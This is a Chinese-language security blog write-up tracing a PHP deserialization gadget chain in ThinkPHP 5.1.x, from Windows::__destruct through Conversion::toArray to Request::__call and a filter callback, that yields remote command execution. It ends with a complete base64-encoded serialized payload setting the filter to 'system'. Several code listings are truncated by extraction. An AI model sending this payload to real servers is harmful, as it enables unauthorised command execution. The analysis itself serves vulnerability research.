Thinkphp 反序列化深入分析pop利用链
Thinkphp 反序列化深入分析
环境搭建
Thinkphp 5.1.37 -—- 应该是5.1.x可以
php 7.0.12
composer create-project topthink/think=5.1.37 v5.1.37
铺垫知识
1. PHP反序列化原理
PHP反序列化就是在读取一段字符串然后将字符串反序列化成php对象。
2. 在PHP反序列化的过程中会自动执行一些魔术方法
方法名 -————–调用条件
1  | __call 调用不可访问或不存在的方法时被调用  | 
3. 反序列化的常见起点
1  | __wakeup 一定会调用  | 
4.反序列化的常见中间跳板:
1  | __toString 当一个对象被当做字符串使用  | 
5.反序列化的常见终点:
1  | __call 调用不可访问或不存在的方法时被调用  | 
6.Phar反序列化原理以及特征
1  | phar://伪协议会在多个函数中反序列化其metadata部分  | 
漏洞起点
漏洞起点在\thinkphp\library\think\process\pipes\windows.php的__destruct魔法函数。
1  | public function __destruct()  | 
__destruct()里面调用了两个函数,我们跟进removeFiles()函数。

rce部分起点
在removeFiles()中使用了file_exists对 filename进行了处理。$filename会被作为字符串处理。

这里我们选择 \thinkphp\library\think\model\concern\Conversion.php
Conversion类的第224行, 这里调用了一个toJson()方法。
\thinkphp\library\think\model\concern\Conversion.php
1  | public function __toString()  | 
跟进toJson()方法
\thinkphp\library\think\model\concern\Conversion.php
1  | public function toJson($options = JSON_UNESCAPED_UNICODE)  | 
继续toArray()方法
thinkphp\library\think\model\concern\Conversion.php
1  | 
- 目的
 
我们需要在toArray()函数中寻找一个满足$可控变量->方法(参数可控)的点
- 首先,这里调用了一个getRelation方法。
 - 我们跟进getRelation(),它位于Attribute类中
 
thinkphp\library\think\model\concern\Conversion.php
  | 
由于getRelation()下面的if语句为if (!$relation),所以这里不用理会,返回空即可。
  | 
继续跟进getData方法
thinkphp\library\think\model\concern\Attribute.php
1  | public function getData($name = null)  | 
通过查看getData函数我们可以知道 r e l a t i o n 的 值 为 relation的值为 relation的值为this->data[$name],需要注意的一点是这里类的定义使用的是Trait而不是class。自
PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use
关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。然后我们需要找到一个子类同时继承了Attribute类和Conversion类。
我们可以在\thinkphp\library\think\Model.php中找到这样一个类
1  | abstract class Model implements \JsonSerializable, \ArrayAccess  | 
我们梳理一下目前我们需要控制的变量
- $files位于类Windows
 - $append位于类Conversion
 - $data位于类Attribute
 
引用大佬的图,简单的看一下,后面还有梳理
代码执行点分析
这里的$this->append是我们可控的(在conversion中),然后通过getRelation($key),但是下面有一个!$relation,所以我们只要置空即可
然后调用getAttr($key),在调用getData($name)函数,这里$this->data['name']我们可控(在attribute中)
$relation 变量来自 $this->data[$name]$name 变量来自 $this->append
之后回到toArray函数,通过这一句话$relation->visible($name); 我们控制$relation为一个类对象,调用不存在的visible方法,会自动调用__call方法,那么我们找到一个类对象没有visible方法
我们现在缺少一个进行代码执行的点,在这个类中需要没有visible方法。并且最好存在__call方法。
因为__call一般会存在__call_user_func和__call_user_func_array,php代码执行的终点经常选择这里。我们不止一次在Thinkphp的rce中见到这两个方法。
可以在/thinkphp/library/think/Request.php,找到一个__call函数。__call 调用不可访问或不存在的方法时被调用。
下面是引用大佬的图,很清晰的链条

call_user_func_array(‘system’,array(‘whoami’));
call_user_func(‘system’,‘calc’);
找到
/thinkphp/library/think/Request.php
1  | ......  | 
$hook这里是可控的,所以call_user_func_array(array(任意类,任意方法),$args) ,这样我们就可以调用任意类的任意方法了。,但是array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头,$args第一个值不能够控制。这种情况下我们是构造不出可用的payload的。由于$args第一个值不能够控制,但是构造不出来参数可用的payload,因为第一个参数是$this对象
call_user_func_array(array(任意类,任意方法),$args) ,这样我们就可以调用任意类的任意方法了。
虽然第330行用 array_unshift 函数把本类对象 $this 放在数组变量 $args 的第一个,但是我们可以寻找不受这个参数影响的方法
ThinkPHP 历史 RCE 漏洞的人可能知道, think\Request 类的 input 方法经常是,相当于 call_user_func($filter,$data) 。但是前面, $args 数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法。
最终产生rce的地方是在input函数当中
在input函数中有一个 $this->filterValue($data, $name, $filter);
1  | private function filterValue(&$value, $key, $filters)  | 
但是这里的$value不能自己进行控制,所以需要往上找可以控制value的地方,共发现以下函数:
cookieinput 但是这里的input参数并不是可控的:
1  | ....  | 
这里$filter可控,data参数不可控,而且$name = (string) $name;这里如果直接调用input的话,执行到这一句的时候会报错,直接退出,所以继续回溯,目的是要找到可以控制$name变量,使之最好是字符串。同时也要找到能控制data参数
1  | protected function getFilter($filter, $default)  | 
我们继续找一个调用input函数的地方。我们找到了param函数。
1  | public function param($name = '', $default = null, $filter = '')  | 
可以看到这里this->param完全可控,是通过get传参数进去的,那么也就是说input函数中的$data参数可控,也就是call_user_func的$value,现在差一个条件,那就是name是字符串,继续回溯。
这里仍然是不可控的,所以我们继续找调用param函数的地方。找到了isAjax函数
1  | public function isAjax($ajax = false)  | 
在isAjax函数中,我们可以控制$this->config['var_ajax'],$this->config['var_ajax']可控就意味着param函数中的 n a m e 可 控 。 p a r a m 函 数 中 的 name可控。param函数中的 name可控。param函数中的name可控就意味着input函数中的$name可控。
可以导致RCE
回溯一下
param()函数 可以获得$_GET数组并赋值给$this->param
1  | $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));  | 
array_merge()数组合并起来
这句代码会将$_GET数组赋值到$this->param中,在往下执行就来到了:
1  | return $this->input($this->param, $name, $default, $filter);  | 
再回到input函数中
1  | $data = $this->getData($data, $name);  | 
$name的值来自于$this->config['var_ajax'],我们跟进getData函数。
1  | protected function getData(array $data, $name)  | 
这里$data直接等于 $data = $data[$val] = $data[$name]
然后就是解析过滤器,跟进getFilter函数
1  | $filter = $this->getFilter($filter, $default);  | 
1  | protected function getFilter($filter, $default)  | 

就是$filter可控
最后回到input函数 关键代码

最后导致RCE的代码
1  | private function filterValue(&$value, $key, $filters)  | 
- filterValue.value = 第一个通过GET请求的值input.data
 - filters.key = 第一个GET的键
 - filters.filters = input.filters
 
上大佬的图

到这里思路有了,回过头来看我们poc的利用过程,首先在上一步toArray()方法。创建了一个Request()对象,然后会触发poc里的__construct()方法,接着new Request()-> visible($name),该对象调用了一个不存在的方法会触发__call方法,看一下__construct()方法内容
1  | function __construct(){  | 
最终POC
1  | 
  | 
我们把payload通过POST传过去,然后通过GET请求获取需要执行的命令
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ6ZW8iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJ6ZW8iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19
复现成功
参考文章
https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用链/
https://blog.csdn.net/qq\_43380549/article/details/101265818
https://xz.aliyun.com/t/6467
https://xz.aliyun.com/t/6619
https://www.t00ls.net/thread-54324-1-1.html
https://www.t00ls.net/viewthread.php\?tid=52825\&extra=\&page=1




